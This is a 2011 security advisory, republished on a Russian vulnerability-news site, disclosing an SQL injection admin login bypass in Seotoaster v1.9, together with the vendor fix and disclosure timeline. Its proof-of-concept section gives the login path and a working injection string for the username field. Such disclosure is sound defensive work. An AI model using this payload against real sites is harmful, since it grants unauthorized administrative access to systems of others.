Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  Wordpress the-welcomizer plugin Cross-Site Scripting Vulnerabilities

  Citrix Receiver, XenDesktop "Pass-the-
hash" Attack

  0A29-11-3 : Cross-Site Scripting vulnerabilities in Nagios XI < 2011R1.9

  0A29-11-4 : Privilege escalation vulnerabilities in Nagios XI installer < 2011R1.9

From:security_(at)_infoserve.de <security_(at)_infoserve.de>
Date:19 декабря 2011 г.
Subject:Seotoaster SQL-Injection Admin Login Bypass

Advisory:               Seotoaster SQL-Injection Admin Login Bypass
Advisory ID:            INFOSERVE-ADV2011-06
Author:                 Stefan Schurtz
Contact:                [email protected]
Affected Software:      Successfully tested on Seotoaster v.1.9
Vendor URL:             http://www.seotoaster.com/
Vendor Status:          fixed

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

====================
Disclosure Timeline
====================

15-Nov-2011 - Secunia SVCRP ([email protected])
15-Dec-2011 - fixed by vendor

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://secunia.com/advisories/46881/
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-06.txt

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород